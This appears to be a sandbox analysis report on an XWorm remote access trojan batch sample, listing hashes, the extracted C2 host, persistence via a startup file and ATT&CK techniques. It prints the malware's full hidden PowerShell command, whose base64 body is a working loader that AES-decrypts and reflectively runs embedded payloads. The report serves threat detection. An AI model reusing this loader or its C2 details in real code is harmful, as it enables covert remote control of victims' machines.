xworm | 743db9757f94a7f6f6e80e01ae725daff09b56397f3c60a423da44104fa56cea

General

Target

743db9757f94a7f6f6e80e01ae725daff09b56397f3c60a423da44104fa56cea.bat
Size

64KB
MD5

85895b178c1ab401353c71c150f01950
SHA1

f23aa3e21be2026a20cde84aac495eedbbc8ba5f
SHA256

743db9757f94a7f6f6e80e01ae725daff09b56397f3c60a423da44104fa56cea
SHA512

a6e1f8404c245f42285a2dc668b36ce041f9df2641707a715257e1c42694bb57f86c3cd4ba554e3264b6aa6c8046f683fd350e9b9c65a31ed58924f972afe50b
SSDEEP

1536:MVpdfg39TAXKl/yi4830S1BZkbmEKUgXEXzICKUnFPyREf:u49Mal/Ln0S1QHf9yREf

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

tripplebanks.duckdns.org:3399

Mutex

Lgqsm4XWzB9LrFCO

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4952-21-0x00000192F3D80000-0x00000192F3D90000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
30	4952	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4952	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_51534336.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_51534336.cmd	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4952	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4952	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4896 wrote to memory of 3936	4896	cmd.exe	85
PID 4896 wrote to memory of 3936	4896	cmd.exe	85
PID 3936 wrote to memory of 4952	3936	cmd.exe	87
PID 3936 wrote to memory of 4952	3936	cmd.exe	87

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\743db9757f94a7f6f6e80e01ae725daff09b56397f3c60a423da44104fa56cea.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\743db9757f94a7f6f6e80e01ae725daff09b56397f3c60a423da44104fa56cea.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTska29qbnAgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGtvam5wKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRrb2pucCIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRrb2pucCwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAka29qbnAiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gdGxqZXYoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJzI1a1ZEbDA4YWxwcjFNOEYyVGEwN2l0eWJlM3FvMFJ1N1JIejYxamZPL0U9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ2ZFbXhXQmd2VjNXOFZBR0FaOVErZnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gZ2dleHAoJHBhcmFtX3Zhcil7CSR5emdsZz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkcW5ocWk9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkamV1Y3Y9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkeXpnbGcsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJGpldWN2LkNvcHlUbygkcW5ocWkpOwkkamV1Y3YuRGlzcG9zZSgpOwkkeXpnbGcuRGlzcG9zZSgpOwkkcW5ocWkuRGlzcG9zZSgpOwkkcW5ocWkuVG9BcnJheSgpO31mdW5jdGlvbiB3cmJxaSgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHhiZ2N6PVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGRvdHlrPSR4Ymdjei5FbnRyeVBvaW50OwkkZG90eWsuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGtvam5wOyRua3dwdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGtvam5wKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkYXR3IGluICRua3dwdSkgewlpZiAoJGF0dy5TdGFydHNXaXRoKCc6OiAnKSkJewkJJHBkZ2t0PSRhdHcuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGd0amhlPVtzdHJpbmdbXV0kcGRna3QuU3BsaXQoJ1wnKTskam9zdmE9Z2dleHAgKHRsamV2IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGd0amhlWzBdKSkpOyRrbXJ1cT1nZ2V4cCAodGxqZXYgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZ3RqaGVbMV0pKSk7d3JicWkgJGpvc3ZhICRudWxsO3dyYnFpICRrbXJ1cSAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ovkzalk.eup.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\dwm.bat

Filesize
64KB

MD5
85895b178c1ab401353c71c150f01950

SHA1
f23aa3e21be2026a20cde84aac495eedbbc8ba5f

SHA256
743db9757f94a7f6f6e80e01ae725daff09b56397f3c60a423da44104fa56cea

SHA512
a6e1f8404c245f42285a2dc668b36ce041f9df2641707a715257e1c42694bb57f86c3cd4ba554e3264b6aa6c8046f683fd350e9b9c65a31ed58924f972afe50b

Download Submit
memory/4952-16-0x00007FFFDA660000-0x00007FFFDB121000-memory.dmp

Filesize
10.8MB

Download
memory/4952-13-0x00007FFFDA660000-0x00007FFFDB121000-memory.dmp

Filesize
10.8MB

Download
memory/4952-14-0x00007FFFDA660000-0x00007FFFDB121000-memory.dmp

Filesize
10.8MB

Download
memory/4952-12-0x00000192F3D90000-0x00000192F3DB2000-memory.dmp

Filesize
136KB

Download
memory/4952-2-0x00007FFFDA663000-0x00007FFFDA665000-memory.dmp

Filesize
8KB

Download
memory/4952-17-0x00007FFFDA660000-0x00007FFFDB121000-memory.dmp

Filesize
10.8MB

Download
memory/4952-19-0x00000192F1C60000-0x00000192F1C6E000-memory.dmp

Filesize
56KB

Download
memory/4952-18-0x00000192F1C40000-0x00000192F1C48000-memory.dmp

Filesize
32KB

Download
memory/4952-21-0x00000192F3D80000-0x00000192F3D90000-memory.dmp

Filesize
64KB

Download
memory/4952-22-0x00007FFFDA663000-0x00007FFFDA665000-memory.dmp

Filesize
8KB

Download
memory/4952-23-0x00007FFFDA660000-0x00007FFFDB121000-memory.dmp

Filesize
10.8MB

Download
memory/4952-24-0x00007FFFDA660000-0x00007FFFDB121000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing